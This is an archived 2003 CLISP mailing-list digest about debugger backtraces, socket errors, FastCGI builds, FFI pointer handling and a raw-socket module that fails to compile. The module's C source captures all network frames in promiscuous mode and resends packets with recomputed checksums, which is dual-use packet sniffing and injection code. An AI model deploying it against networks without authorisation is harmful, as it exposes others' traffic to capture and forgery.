	issue a backtrace automatically? > > I first tried to set a
	*debugger-hook*, but then I've no access to the > frames to be
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	((system::*debug-mode* 1) > (system::*debug-frame*
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	((SYSTEM::*DEBUG-MODE* 1) (SYSTEM::*DEBUG-FRAME* (SYSTEM::THE-FRAME)))
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>* Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2003-09-10 22:37:40 +0200]:
>
> In situations where there's no interactive channel to a clisp, how
> could I direct the debugger to issue a backtrace automatically?
> 
> I first tried to set a *debugger-hook*, but then I've no access to the
> frames to be backtracked:
> 
> [2]> (setq *debugger-hook* (lambda (condition last-hook)
>                           (format t "~&ERROR: ~A" condition)
>                           (let ((system::*debug-mode* 1)
>                                 (system::*debug-frame* (SYSTEM::THE-FRAME)))
>                             (SYSTEM::DEBUG-BACKTRACE))))
> #<CLOSURE :LAMBDA (CONDITION LAST-HOOK) (FORMAT T "~&ERROR: ~A" CONDITION)
>   (LET ((SYSTEM::*DEBUG-MODE* 1) (SYSTEM::*DEBUG-FRAME* (SYSTEM::THE-FRAME)))
>    (SYSTEM::DEBUG-BACKTRACE))>
> [9]> (/ 1 0)
> ERROR: division by zero
> *** - SYSTEM::FRAME-UP-1: NIL is not a stack pointer

almost.  see `break-loop' in src/reploop.lisp:

[1]> (setq *debugger-hook*
      (lambda (condition last-hook)
        (format t "~&ERROR: ~A" condition)
        (let* ((sys::*frame-limit1* (sys::frame-limit1 13))
               (sys::*frame-limit2* (sys::frame-limit2))
               (sys::*debug-mode* 1)
               (sys::*debug-frame*
                (sys::frame-down-1 (sys::frame-up-1 sys::*frame-limit1*
                                                    sys::*debug-mode*)
                                   sys::*debug-mode*)))
          (system::debug-backtrace))))
#<CLOSURE :LAMBDA (CONDITION LAST-HOOK) (FORMAT T "~&ERROR: ~A" CONDITION)
  (LET*
   ((SYSTEM::*FRAME-LIMIT1* (SYSTEM::FRAME-LIMIT1 13))
    (SYSTEM::*FRAME-LIMIT2* (SYSTEM::FRAME-LIMIT2)) (SYSTEM::*DEBUG-MODE* 1)
    (SYSTEM::*DEBUG-FRAME*
     (SYSTEM::FRAME-DOWN-1
      (SYSTEM::FRAME-UP-1 SYSTEM::*FRAME-LIMIT1* SYSTEM::*DEBUG-MODE*)
      SYSTEM::*DEBUG-MODE*)))
   (SYSTEM::DEBUG-BACKTRACE))>
[2]> (/ 0 1)
0
[3]> (/ 1 0)
ERROR: division by zero
[1]> #<SYSTEM-FUNCTION SHOW-STACK>
[2]> #<COMPILED-CLOSURE SYSTEM::DEBUG-BACKTRACE>
[3]> #<SPECIAL-OPERATOR LET*>
[4]>
#<CLOSURE :LAMBDA (CONDITION LAST-HOOK) (FORMAT T "~&ERROR: ~A" CONDITION)
  (LET*
   ((SYSTEM::*FRAME-LIMIT1* (SYSTEM::FRAME-LIMIT1 13))
    (SYSTEM::*FRAME-LIMIT2* (SYSTEM::FRAME-LIMIT2)) (SYSTEM::*DEBUG-MODE* 1)
    (SYSTEM::*DEBUG-FRAME*
     (SYSTEM::FRAME-DOWN-1
      (SYSTEM::FRAME-UP-1 SYSTEM::*FRAME-LIMIT1* SYSTEM::*DEBUG-MODE*)
      SYSTEM::*DEBUG-MODE*)))
   (SYSTEM::DEBUG-BACKTRACE))> 2
[5]> #<SYSTEM-FUNCTION INVOKE-DEBUGGER>
- #<SYSTEM::SIMPLE-DIVISION-BY-ZERO #x19ECF54D>
- 0
[6]> #<SYSTEM-FUNCTION /> 1
- 1
EVAL frame for form (/ 1 0)
- #<IO TERMINAL-STREAM>
[7]> #<SYSTEM-FUNCTION SYSTEM::READ-EVAL-PRINT>
- #<IO TERMINAL-STREAM>
Printed 7 frames
[4]>

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>* Sam Steingold <fqf@tah.bet> [2003-09-10 11:25:17 -0400]:
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> The users of the source release 2.31 (as opposed to those who download
> binaries) are urged to visit
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> and see if there is a binary there for your platform.
> if you do not see a binary for your platform, please do
> "make distrib"
> in your CLISP build directory and let me know from where I can download
> the tar ball.

to avoid clashes, please announce here your intent _before_ doing anything!

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	client program receiving the > characters unexpectedly closes the
	connection on its end), my program > exits either in a call to
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	> *** - Winsock error 10054 (ECONNRESET): Connection reset by peer > >
	I don't know much about error handling under lisp, but I can't see how
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>* Darken, Chris USA <pwqnexra@acf.anil.zvy> [2003-09-07 06:47:36 -0700]:
>
> I have a CLISP program (CLISP 2.31 under WinXP) that sends characters
> to a client program over a socket.  My problem is that when the
> connection is lost (e.g. because the client program receiving the
> characters unexpectedly closes the connection on its end), my program
> exits either in a call to socket-status or in a write-char to the
> socket with an error like:
>  
> *** - Winsock error 10054 (ECONNRESET): Connection reset by peer
>  
> I don't know much about error handling under lisp, but I can't see how
> to catch this error.  I've searched the mailing list archive and
> haven't found a solution.
>  
> Can anyone tell me how my program could tolerate unexpected client
> disconnects without exiting?

I do not observe this with the native (mingw) port:

[3]> (setq s (ext:socket-server))
#<SOCKET-SERVER 0.0.0.0:4686>
[4]> (setq l (ext:socket-accept s))         ; telnet localhost 4686
#<IO UNBUFFERED SOCKET-STREAM CHARACTER 0.0.0.0:4686>
[5]> (ext:socket-status l)
:OUTPUT ;
1
[6]> (ext:socket-status l)                   ; close telnet
:APPEND ;
1
[7]>

i.e., :APPEND means :EOF on read (connection closed)


are you using cygwin?

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	First of all, thanks your time in answering...

"John K. Hinsdale" <hin@alma.com> wrote:
> 
>  >  Newbie help: how do I load the fastcgi module?
> 
> The FastCGI module is available only if you're compiling CLISP from
> the source code.

	Oh, that must be the answer, then. I thought CLISP already came with
FastCGI.
 It seems I misinterpreted the 2.31 release notes. 

  I don't believe it's compiled into any distributed
> binaries.  You're compiling from source code and not using a Windows
> binary, right?
> 
  Wrong. :-) Oh, Jesus, I'm going for the easy stuff, I'm a doctor +
wannabe hacker.

>  > The documentation 
>  > mentioned a lot of - to me - strange stuff: C header files, etc, that 
>  > didn't seem to make much sense for a builtin module.
 
 The documentation I was talking about was the CLISP Implementation
Notes.
> 
> Which documentation are you talking about?  The only doc, for the
> CLISP FastCGI module is a brief (but fairly complete) README, which
> doesn't mention anthing about header files.  It's a bit out of date
> now that FastCGI is distributed w/ CLISP.  I can fix that.
> 
>  > I'm sorry, I forgot to add, this is on Win32. There is no "modules" 
>  > directory in /src.
> 
> When you unpack the source code archive for CLISP there should be a
> directory called "modules" and under that "fastcgi".  Maybe things are
> different for Win32.  I've only ever built the FastCGI on Unix.
> However, the process should be the same on Windows?

 I guess I don't have modules because I got a binary. Must get sources,
then?
 How do I compile CLISP on Win32...? Hmmm...Got some reading to do...
 Can you just tip me here: if I have a CLISP, can I bootstrap the CLISP
sources?

 You see, this is the thing. Under Win32, you are kind of restricted.
 You can't deploy SBCL or CMUCL. CLISP is very multiplatform, which
makes it an excellent choice if you have to work on *Nix + Win32.
 In fact, my guess is once you guys get multithreading, you will be 
the dominant Free Software Common Lisp, because of the high quality
and the multiplatform issue.

 Do you think I should file a bug report? 
> 
> Also: do you have the FastCGI library (downloaded from fastcgi.com)
> built and installed?  The CLISP module is simply an interface to this
> library, which must be present.  It looks like for Windows (whose web
> servers use ISAPI/NSAP) you need to visit:
> 
>     http://www.caraveo.com/fastcgi/

 Yes, I have FastCGI.
> 
> Hope this helps.  Let me know what you learn and I can assist from
> there.
> 
  Yes, thank you for the helping hand. 

  Best regards to you, John.


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Hello,

I have a foreign-adress and want to read the double-float at the memory
location the address points to.

So I tried to change the foreign-address behind a foreign-variable object.

How can I do this otherwise?

I am trying to port the lisp odbc interface from Paul Meurer to clisp. 
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the double-float from a given memory location.

Bye,
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>* Roland Averkamp <ebynaq.nirexnzc@tzk.qr> [2003-09-11 18:18:02 +0200]:
>
> I have a foreign-adress and want to read the double-float at the
> memory location the address points to.

<http://clisp.cons.org/impnotes/dffi.html#cast>
<http://clisp.cons.org/impnotes/dffi.html#with-c-place>

(with-c-place (c <your foreign address>)
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or maybe

(with-c-place (c <your foreign address>)
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UNTESTED!!!

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Sam Steingold writes:
> almost.  see `break-loop' in src/reploop.lisp:
>=20
> [1]> (setq *debugger-hook*
>       (lambda (condition last-hook)
>         (format t "~&ERROR: ~A" condition)
>         (let* ((sys::*frame-limit1* (sys::frame-limit1 13))
>                (sys::*frame-limit2* (sys::frame-limit2))
>                (sys::*debug-mode* 1)
>                (sys::*debug-frame*
>                 (sys::frame-down-1 (sys::frame-up-1 sys::*frame-limit1*
>                                                     sys::*debug-mode*)
>                                    sys::*debug-mode*)))
>           (system::debug-backtrace))))

I had  to add a catch on  'system::debug, and noted that  it outputs a
"Printed NN frames" to *debug-io*:


(DEFUN BACKTRACE (&OPTIONAL (OUTPUT  *STANDARD-OUTPUT*) (DEBUG *DEBUG-IO*=
))
  "
DO:     Prints a backtrace to the OUTPUT stream,
        and report the number of printed frames on the DEBUG frame.
NOTE:   To be used in debugger hooks, but can be called from anywhere.
"
  (LET ((*STANDARD-OUTPUT* OUTPUT)
        (*DEBUG-IO*        DEBUG))
    (CATCH 'SYSTEM::DEBUG
              (LET* ((SYS::*FRAME-LIMIT1* (SYS::FRAME-LIMIT1 13))
                     (SYS::*FRAME-LIMIT2* (SYS::FRAME-LIMIT2))
                     (SYS::*DEBUG-MODE* 1)
                     (SYS::*DEBUG-FRAME*
                      (SYS::FRAME-DOWN-1 (SYS::FRAME-UP-1 SYS::*FRAME-LIM=
IT1*
                                                          SYS::*DEBUG-MOD=
E*)
                                         SYS::*DEBUG-MODE*)))
                (SYSTEM::DEBUG-BACKTRACE))))
  );;BACKTRACE

Thanks again for you help.
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>Von: Roland Averkamp [mailto:roland.averkamp@gmx.de]
>Hello,
>I am using clisp-2.31 and did the following at the prompt:
>
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>#<FOREIGN-ADDRESS #x0000FFFF>
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>#<FOREIGN-POINTER #x00000000>
>[19]> (ffi:foreign-address (ffi:foreign-pointer
>(ffi:unsigned-foreign-address 65535)))
>#<FOREIGN-ADDRESS #x00000000>
>[20]>=20

>I would have expected as results #<FOREIGN-POINTER #x0000ffff> and
>#<FOREIGN-ADDRESS #x0000ffff>

Nope.

1. What do you need foreign-pointer objects for? Normally people =
manipulate FOREIGN-ADDRESS objects (which are used with C-POINTER type =
declarations).
Until the shared library FFI code became available for MS-Windows and =
UNIX, I bet very few people even knew about the existance of =
FOREIGN-POINTER objects.

2. most functions returning FOREIGN-ADDRESS objects return a pointer =
object relative to what I call the current FFI session pointer. This =
one is unique per invocation of CLISP and is a #<FOREIGN-POINTER =
#x00000000> object.
Therefore what you observe is completely normal.

This is part of a yet not documented dependency mechanism and allows =
setting all sorts of foreign-address obejct invalid with a single call. =
I sketched some parts in clisp-list . E.g. all pointers become invalid =
when the session is terminated.
More precisely, you cannot save a FFI pointer in a Lisp image file and =
reuse it in a new invocation (unless you hack the C code). It will have =
been marked invalid.

3. I never came to check what Sam implemented as FOREIGN-POINTER and =
SETF FOREIGN-POINTER based on my talks in clisp-list. I still have to =
look at that code.
In my talks/thoughts/proposals, there were means to obtain a =
#<FOREIGN-POINTER #xwantedaddress> object.

4. Exceptions to 2. are FOREIGN-LIBRARY, WITH-C-VAR, =
WITH-FOREIGN-OBJECT, WITH-FOREIGN-STRING, ALLOCATE-FOREIGN. This =
permits to control the validity of the memory regions allocated by =
these functions. When their scope exists, or when FOREIGN-FREE is used, =
the pointer is marked invalid.

Regards,
	J=F6rg H=F6hle.


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The old version produced a call-rawsock.c file with this:

extern uint8 (buffer)[1518];
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extern int (recvfr)();
extern int (sendt)();
extern int (gettime)();
extern int (backup)();
extern int (restore)();
extern int (configdev)();
extern void (perror)();

The new version misses this part - leading to a signficant failure in
the compilation.  So I added this into the file and tried from there... 
and I get errors again after that - which I will trace futher - however,
I seem to have a hard time believing that others are having these sorts
of problems.  Perhaps I did something wrong in install or making the new
clisp.  Has anyone else experienced these issues? Any suggestions on how
to cure it?

FC
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Hi,
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>*  <flagurfcvna@hby.pbz.oe> [2003-09-10 23:27:37 +0300]:
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> bootstrap the CLISP sources?

get cygwin.
get CLISP sources.
make sure that FastCGI sources and headers are in the paths (binary and
include), set CFLAGS and PATH if necessary.
in the top-level CLISP source directory:

$ ./configure --with-mingw --with-module=fastcgi --build build-fastcgi
<add more modules, e.g., --with-module=regexp --with-module=syscalls
--with-module=bindings/win32 if desired>

$ cd build-fastcgi

$ make distrib

unzip clisp-2.31-win32.zip in the desired location.

(--with-mingw makes sure that your executables will not use any cygwin
libraries).

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Date: Fri Sep 12 12:23:38 2003
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I have now tested the FFI interface using the code and example for
vector.o provided with the slisp documentation, and it also failed.
This is not good...

It looks like call-rawsock.c which was autogenerated from
call-rawsock.lisp doesn't generate some header information -

#include "clisp.h"

extern object module__call_rawsock__object_tab[];

subr_t module__call_rawsock__subr_tab[1];
uintC module__call_rawsock__subr_tab_size = 0;
subr_initdata_t module__call_rawsock__subr_tab_initdata[1];

object module__call_rawsock__object_tab[1];
object_initdata_t module__call_rawsock__object_tab_initdata[1];
uintC module__call_rawsock__object_tab_size = 0;

void module__call_rawsock__init_function_1 (module_t* module)
{ }

void module__call_rawsock__init_function_2 (module_t* module)
{
  register_foreign_variable((void*)&buffer,"buffer",0,sizeof(buffer));
  register_foreign_variable((void*)&from,"from",0,sizeof(from));
  register_foreign_variable((void*)&f,"f",0,sizeof(f));
...

The errors come because there is no function defined prior to these
register things.  Since the Raw Socket Interface (which I am trying to
compile) is provided for all to use, I figure including it here will
help to debug this problem in moving it from clisp-2.27 to clisp-2.31.
Appologies if this is too long:

The program that builds it (or did under the older clisp version):
base=/usr/local/lib/clisp/base;export base
rm -rf ${base}/rawsock
export CLISP_LINKKIT=/usr/local/lib/clisp/linkkit/
rm -rf call-rawsock.c call-rawsock.fas call-rawsock.lib rawsock
/usr/local/lib/clisp/clisp-link create-module-set rawsock call-rawsock.c
cc -O -c rawsock.c
cd rawsock
ln -s ../rawsock.o rawsock.o
cp -f ../thingtofix link.sh
cd ..
${base}/lisp.run -M ${base}/lispinit.mem -q -c call-rawsock.lisp

# it works up to here...
/usr/local/lib/clisp/clisp-link add-module-set rawsock ${base} ${base}/rawsock

# and this fails with the error messages indicating that the functions
# and variables from rawsock.c cannot be found.

echo "(exit)" | ${base}/rawsock/lisp.run -q -M ${base}/rawsock/lispinit.mem -i call-rawsock
${base}/rawsock/lisp.run -q -M ${base}/rawsock/lispinit.mem -q -i call-rawsock -c R.lsp -c tg.lsp -c router.lsp
echo "Run with ${base}/rawsock/lisp.run -M ${base}/rawsock/lispinit.mem -i call-rawsock"

=======================================================================
call-rawsock.lisp:
(DEFPACKAGE "RAWSOCK" (:use "LISP" "FFI"))
(IN-PACKAGE "RAWSOCK")

; (setq snaplen 1514)
(def-c-var buffer (:name "buffer") (:type (c-array uchar 1518)) (:read-only nil) (:alloc :none) )
(def-c-struct sockaddr (sa_family short) (sa_data (c-array char 14)))
(def-c-var from (:name "from") (:type sockaddr) (:read-only nil) (:alloc :none))
(def-c-var f (:name "f") (:type (c-array uchar 16)) (:read-only nil) (:alloc :none))
(def-c-var timestamp (:name "timestamp") (:type (c-array uchar 16)) (:read-only t) (:alloc :none))
(def-c-var ts (:name "ts") (:type c-string) (:read-only t) (:alloc :none))

(def-c-call-out rawsocket (:return-type int))
(def-c-call-out closesock (:arguments (s int)) (:return-type int))
(def-c-call-out ipcsum (:return-type ushort))
(def-c-call-out icmpcsum (:return-type ushort))
(def-c-call-out tcpcsum (:return-type ushort))
(def-c-call-out udpcsum (:return-type ushort))
(def-c-call-out recvfr (:arguments (rawsock int)) (:return-type int))
(def-c-call-out sendt (:arguments (rawsock int) (len int)) (:return-type int))
(def-c-call-out gettime (:return-type int))
(def-c-call-out backup (:return-type int))
(def-c-call-out restore (:return-type int))
(def-c-call-out configdev (:arguments (rawsock int) (name c-string)
			(ipadd int) (prom int) (noarp int)) (:return-type int))
(def-c-call-out perror (:arguments (name c-string)))
=======================================================================
rawsock.c:
=======================================================================
#include <sys/types.h>
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <netinet/if_ether.h>
#include <net/if.h>

#include <sys/ioctl.h>
#define snaplen 1518
#define MAX_DEVICE_NAME_SIZE 14
#define BUFSIZE 2*snaplen
#define ETH_HEAD_LEN    14
#define ARP_HEAD_LEN    28
#define IP_HEAD_LEN     20    /* don't use ----ip varible size use ip->ip_hl = num of 32 bit words */
#define TCP_HEAD_LEN    20    /* don't use ----ip varible size use ip->ip_hl = num of 32 bit words */
#define TCP_HEAD_BASE   (ETH_HEAD_LEN + IP_HEAD_LEN)
#define FIN  0x01
#define SYN  0x02
#define RST  0x04
#define PSH  0x08
#define ACK  0x10
#define URG  0x20

#include <errno.h>
void perror(const char *s);

int device_count;
unsigned char buffer[snaplen], buff[snaplen];
struct sockaddr from, fr;
char *f;
int from_len;
char timestamp[20], *ts=&timestamp[0];
time_t *tloc, t;
char confighw=0;

int rawsocket() {return socket(PF_INET, SOCK_PACKET, htons(ETH_P_ALL) );}
int closesock(int s) {return close(s);}

int backup () {memcpy(buff, buffer, sizeof(buff));memcpy( fr, from, sizeof(from));}
int restore () {memcpy(buffer, buff,  sizeof(buff));memcpy(from, fr, sizeof(from));}

int gettime() {t=time(NULL);strftime(timestamp, 20, "%Y/%m/%d %T", localtime(&t));return(0);}
int recvfr(int s) {f=&from;gettime();return(recvfrom(s, buffer, snaplen, 0, &from, &from_len));}
int sendt(int s, unsigned int length) {return(sendto(s, buffer, length, 0, &from,  sizeof(from)));}

int configdev(int s, char *name, int ipadd, int prom, int noarp)
	{struct ifreq ifrequest; register int i,j;
	memset(&ifrequest,  0, sizeof(struct ifreq));
	strcpy(ifrequest.ifr_name, name);
	if (ioctl(s, SIOCGIFFLAGS, &ifrequest) < 0)
		{printf("dev = %s \n", name); perror("SOCKET: get flags ");return -1;}
	if (prom != 0) {ifrequest.ifr_flags |= IFF_PROMISC;}
	if (noarp != 0) {ifrequest.ifr_flags |= IFF_NOARP;}
	if (ioctl(s,  SIOCSIFFLAGS,  &ifrequest) < 0) {perror("SOCKET: setpromisc "); return -1;}
	memset(&ifrequest, 0, sizeof(struct ifreq));
	strcpy(ifrequest.ifr_name, name); /* add was 0.0.0.0 -> err*/
	if (ioctl(s, SIOCGIFADDR, &ifrequest) < 0) {perror("address already 0.0.0.0");}
	if (ipadd != 0) {if (ioctl(s, SIOCGIFADDR, &ifrequest) < 0) {perror("address already 0.0.0.0");}
	else	{for (j=2;j <6;j++) {ifrequest.ifr_addr.sa_data[j] = 0;}
		if (ioctl(s, SIOCSIFADDR,  &ifrequest) < 0) {perror("SOCKET: setadd"); return -1;}
		}
			}
	return 0;}

unsigned short ipcsum() 	       /* IP CHECKSUM */
	{register long sum=0;           /* assumes long == 32 bits */
	unsigned short result;	unsigned char *ptr=&(buffer[14]);int nbytes;
	buffer[24]=0;buffer[25]=0;nbytes=(buffer[14] & 0xF) << 2; /* checksum=0, headerlen */
	while(nbytes>1){sum += *ptr; ptr++; sum += *ptr <<8; ptr++; nbytes -= 2;}
	if(nbytes==1){sum += *ptr;}     /* mop up an odd byte,  if necessary */
	sum = (sum >> 16) + (sum & 0xFFFF);result=~(sum  + (sum >> 16)) & 0xFFFF;
	buffer[24]=(result & 0xFF);buffer[25]=((result >> 8) & 0xFF);return(result);}

unsigned short icmpcsum() 	       /* ICMP CHECKSUM */
	{register long sum=0;           /* assumes long == 32 bits */
	unsigned short result;	unsigned char *ptr;int nbytes, off, offset;
	off=((buffer[14]&0xF)<<2);offset=off+14;		/* start of ICMP header */
	buffer[offset+2]=0;buffer[offset+3]=0;
	nbytes=(((buffer[16])<<8)+(buffer[17]))-off; /* bytes in ICMP part */
	ptr=&(buffer[offset]);
	while(nbytes>1){sum += *ptr; ptr++; sum += *ptr <<8; ptr++; nbytes -= 2;}
	if(nbytes==1){sum += *ptr;}     /* mop up an odd byte,  if necessary */
	sum = (sum >> 16) + (sum & 0xFFFF);result=~(sum  + (sum >> 16)) & 0xFFFF;
	buffer[offset+2]=(result & 0xFF);buffer[offset+3]=((result >> 8) & 0xFF);return(result);}

unsigned short tcpcsum()		/* TCP checksum */
	{register unsigned long sum;  /* assumes long == 32 bits */
	unsigned short result;	unsigned char *ptr;
	unsigned nbytes, packsize, offset;
	sum = (buffer[26]<<8)+ buffer[27]+(buffer[28]<<8)+ buffer[29];	/* Src IP */
	sum +=(buffer[30]<<8)+ buffer[31]+(buffer[32]<<8)+ buffer[33];	/* Dst IP */
	sum +=(buffer[23]);				/* zero followed by protocol */
	packsize=((buffer[16])<<8)+(buffer[17]);	/* packet size - not including ARP area */
	offset=((buffer[14]&0xF)<<2);			/* start of TCP header (rel to IP header) */
	sum +=(packsize - offset);			/* size of TCP part of the packet */
	ptr=&(buffer[offset+14]);			/* start of TCP header in buffer */
	nbytes=packsize-offset;				/* number of bytes to checksum */
	buffer[offset+16+14]=0;buffer[offset+17+14]=0;	/* initialize TCP checksum to 0 */
	while(nbytes>1){sum += *ptr<<8; ptr++; sum += *ptr; ptr++; nbytes -= 2;}
	if(nbytes==1){sum += *ptr<<8;}			/* mop up an odd byte,  if necessary */
	sum = (sum >> 16) + (sum & 0xFFFF);result=~(sum  + (sum >> 16)) & 0xFFFF;
	buffer[offset+17+14]=(result & 0xFF);buffer[offset+16+14]=((result >> 8) & 0xFF);
	return(result);}

unsigned short udpcsum()		/* UDP checksum */
	{register unsigned long sum = 0;  /* assumes long == 32 bits */
	unsigned short result;	unsigned char *ptr;
	int nbytes, packsize, offset;
	sum = (buffer[26]<<8)+ buffer[27]+(buffer[28]<<8)+ buffer[29];	/* Src IP */
	sum +=(buffer[30]<<8)+ buffer[31]+(buffer[32]<<8)+ buffer[33];	/* Dst IP */
	sum +=(buffer[23]);				/* zero followed by protocol */
	packsize=((buffer[16])<<8)+(buffer[17]);		/* packet size */
	offset=((buffer[14]&0xF)<<2);			/* start of UDP header */
	sum +=(((buffer[16])<<8)+(buffer[17])) -offset;
	ptr=&(buffer[offset+14]);	/* start of TCP header */
	nbytes=packsize-offset;
	buffer[offset+6+14]=0;buffer[offset+7+14]=0;	/* initialize UDP checksum to 0 */
	while(nbytes>1){sum += *ptr <<8; ptr++; sum += *ptr; ptr++; nbytes -= 2;}
	if(nbytes==1){sum += *ptr<<8;}			/* mop up an odd byte,  if necessary */
	sum = (sum >> 16) + (sum & 0xFFFF);result=~(sum  + (sum >> 16)) & 0xFFFF;
	buffer[offset+7+14]=(result & 0xFF);buffer[offset+6+14]=((result >> 8) & 0xFF);return(result);}


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>Von: Roland Averkamp

>I have a foreign-adress and want to read the double-float at the =
memory
>location the address points to.
>
>So I tried to change the foreign-address behind a=20
>foreign-variable object.

You want to work on memory contents, so you indeed need =
FOREIGN-VARIABLE objects, or foreign-places (which are symbol macros =
which encapsulate these objects).

>How can I do this otherwise?
(with-c-var (place 'c-pointer your-foreign-address)
  (cast place '(c-ptr double-float)))
should dereference that.
It's not particularly performant, but it does the job.

If you already have a FOREIGN-VARIABLE object instead of a =
FOREIGN-ADDRESS, use CAST or DEREF on a place associated with it (see =
WITH-C-PLACE).
Where did you get the FOREIGN-VARIABLE from?

BTW, maybe you could short-circuit with Aurelio Bignoli who worked on =
porting BDB (Berkeley DB). He probably faced a similar situation.

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>* Fred Cohen <sp@nyy.arg> [2003-09-11 22:02:56 -0700]:
>
> The old version produced a call-rawsock.c file with this:
> 
> extern uint8 (buffer)[1518];
> extern struct t1261 { sint16 SA_FAMILY; sint8 (SA_DATA)[14]; } from;
> extern uint8 (f)[16];
> extern uint8 (timestamp)[16];
> extern char* ts;
> extern int (rawsocket)();
> extern int (closesock)();
> extern uint16 (ipcsum)();
> extern uint16 (icmpcsum)();
> extern uint16 (tcpcsum)();
> extern uint16 (udpcsum)();
> extern int (recvfr)();
> extern int (sendt)();
> extern int (gettime)();
> extern int (backup)();
> extern int (restore)();
> extern int (configdev)();
> extern void (perror)();

NEWS:

* FFI does not output extern variable and function declarations unless
  you set FFI:*OUTPUT-C-VARIABLES* and/or FFI:*OUTPUT-C-FUNCTIONS* to T.
  Please use FFI:C-LINES to include the appropriate headers instead.
  See <http://clisp.cons.org/impnotes.html#ffi-extern-output> for details.



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>* amit phalgune <cunythar@pf.befg.rqh> [2003-09-11 22:03:57 -0700]:
>
> I would like to put a escape character in a string Like :
> 
> (setf A "Z:\ABC")
> but this remove the "\" character. How do I keep it ?

(setf A "Z:\\ABC")

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>* Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2003-09-12 02:54:23 +0200]:
>
> Sam Steingold writes:
> > almost.  see `break-loop' in src/reploop.lisp:
> > 
> > [1]> (setq *debugger-hook*
> >       (lambda (condition last-hook)
> >         (format t "~&ERROR: ~A" condition)
> >         (let* ((sys::*frame-limit1* (sys::frame-limit1 13))
> >                (sys::*frame-limit2* (sys::frame-limit2))
> >                (sys::*debug-mode* 1)
> >                (sys::*debug-frame*
> >                 (sys::frame-down-1 (sys::frame-up-1 sys::*frame-limit1*
> >                                                     sys::*debug-mode*)
> >                                    sys::*debug-mode*)))
> >           (system::debug-backtrace))))
> 
> I had  to add a catch on  'system::debug, and noted that  it outputs a
> "Printed NN frames" to *debug-io*:
> 
> 
> (DEFUN BACKTRACE (&OPTIONAL (OUTPUT  *STANDARD-OUTPUT*) (DEBUG *DEBUG-IO*))
>   "
> DO:     Prints a backtrace to the OUTPUT stream,
>         and report the number of printed frames on the DEBUG frame.
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>                                                           SYS::*DEBUG-MODE*)
>                                          SYS::*DEBUG-MODE*)))
>                 (SYSTEM::DEBUG-BACKTRACE))))
>   );;BACKTRACE

note that you can write

(defun backtrace (&optional (*standard-output* *standard-output*)
                  (*debug-io* *debug-io*))
  ...)

instead of

(defun backtrace (&optional (output  *standard-output*) (debug *debug-io*))
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     ...))

> Thanks again for you help.
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Well,
I did that and then once I do a format on A. it shows "Z:\\ABC" so I am
not sure if it works.
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> >
> > I would like to put a escape character in a string Like :
> >
> > (setf A "Z:\ABC")
> > but this remove the "\" character. How do I keep it ?
>
> (setf A "Z:\\ABC")
>
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>
>I did that and then once I do a format on A. it shows "Z:\\ABC" so I am
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Per the message sent by Sam Steingold:

> >* Fred Cohen <sp@nyy.arg> [2003-09-11 22:02:56 -0700]:
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> > The old version produced a call-rawsock.c file with this:
...

> NEWS:

> * FFI does not output extern variable and function declarations unless
>   you set FFI:*OUTPUT-C-VARIABLES* and/or FFI:*OUTPUT-C-FUNCTIONS* to T.
>   Please use FFI:C-LINES to include the appropriate headers instead.
>   See <http://clisp.cons.org/impnotes.html#ffi-extern-output> for details.

OK - this is changed from the last version.  So I did this and... it
still doesn't create the declarations required - as before:

(DEFPACKAGE "RAWSOCK" (:use "LISP" "FFI"))
(IN-PACKAGE "RAWSOCK")

(setf FFI:*OUTPUT-C-FUNCTIONS* t)
(setf FFI:*OUTPUT-C-VARIABLES* t)

; (setq snaplen 1514)
(def-c-var buffer (:name "buffer"...

Yields no declarations when I do:

LD_RUN_PATH=/usr/local/lib
LD_LIBRARY_PATH=/usr/local/lib
base=/usr/local/lib/clisp/base;export base
rm -rf ${base}/rawsock
export CLISP_LINKKIT=/usr/local/lib/clisp/linkkit/
rm -rf call-rawsock.c call-rawsock.fas call-rawsock.lib rawsock
/usr/local/lib/clisp/clisp-link create-module-set rawsock call-rawsock.c
cc -O -c rawsock.c
cd rawsock
ln -s ../rawsock.o rawsock.o
cp -f ../thingtofix link.sh
cd ..
${base}/lisp.run -M ${base}/lispinit.mem -q -c call-rawsock.lisp

It still yields a C program without the declarations, resulting in:

/usr/local/lib/clisp/clisp-link add-module-set rawsock ${base} ${base}/rawsock ->

call-rawsock.c: In function `module__call_rawsock__init_function_2':
call-rawsock.c:19: `buffer' undeclared (first use in this function)
call-rawsock.c:19: (Each undeclared identifier is reported only once
...

What ELSE has changed? Is there some example of a working program in the
FFI interface and all of the compilation process that works so I can use
it to make mine work? The ones on the web site - carried out step by step
- fail. 

FC

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>* Fred Cohen <sp@nyy.arg> [2003-09-12 21:06:37 -0700]:
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> > * FFI does not output extern variable and function declarations unless
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> 
> (setf FFI:*OUTPUT-C-FUNCTIONS* t)
> (setf FFI:*OUTPUT-C-VARIABLES* t)

the prototypes are output at compile time, so you need

(eval-when (compile) (setq ffi:*output-c-functions* t))

I _really_ urge you to include headers instead.


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>* Fred Cohen <sp@nyy.arg> [2003-09-12 21:22:12 -0700]:
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> > I _really_ urge you to include headers instead.
> 
> You mean create a .h file to declare everything in my C program
> externally and then include it in call-rawsock.lisp somehow?

the usual situation is when you have a library (.dll or .so or .a) and
a header file, so what you do is

(c-lines "#include <mylib.h>~%")

instead of relying on CLISP producing the correct prototypes.

of course, CLISP _will_ (_usually_!) produce correct K&R declarations,
but why bother if you already have good prototypes elsewhere?

there are exceptions, of course, e.g., if all you have is a single C
file.  but even then you might probably get away with this including it
into the lisp file with c-lines and then _not_ compiling the original C
files but only the generated C file.

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Date: Sun Sep 14 07:38:04 2003
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Hoehle, Joerg-Cyril writes:

 > BTW, maybe you could short-circuit with Aurelio Bignoli who worked
 > on porting BDB (Berkeley DB). He probably faced a similar
 > situation.

yes, I had to convert a C pointer to one of the following C objects:

1) array of characters
2) string
3) integer

to the corresponding CLISP object and I used the with-c-var...cast
pattern you described. However, after some testing, I discovered that
the use of an ad-hoc C function for the conversion of C ints into
CLISP fixnums gives better performances. Probably the same is true for
the conversion from any non-aggregate C type to the corresponding
CLISP type, such as floats and doubles. 

Here is my solution for ints:

The C ad-hoc conversion function:

int
get_int_data (void *p)
{
  return *(int *)p;
}

Its FFI definition:

(def-call-out ffi-get-int-data
  (:name "get_int_data")
  (:arguments (data c-pointer :in))
  (:return-type int))

Finally, the method used to convert pointer to ints returned by
BerkeleyDB functions:

(defmethod get-foreign-data (data len (type (eql 'integer)))
  (declare (ignore len))
  (ffi-get-int-data data))


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Hallo
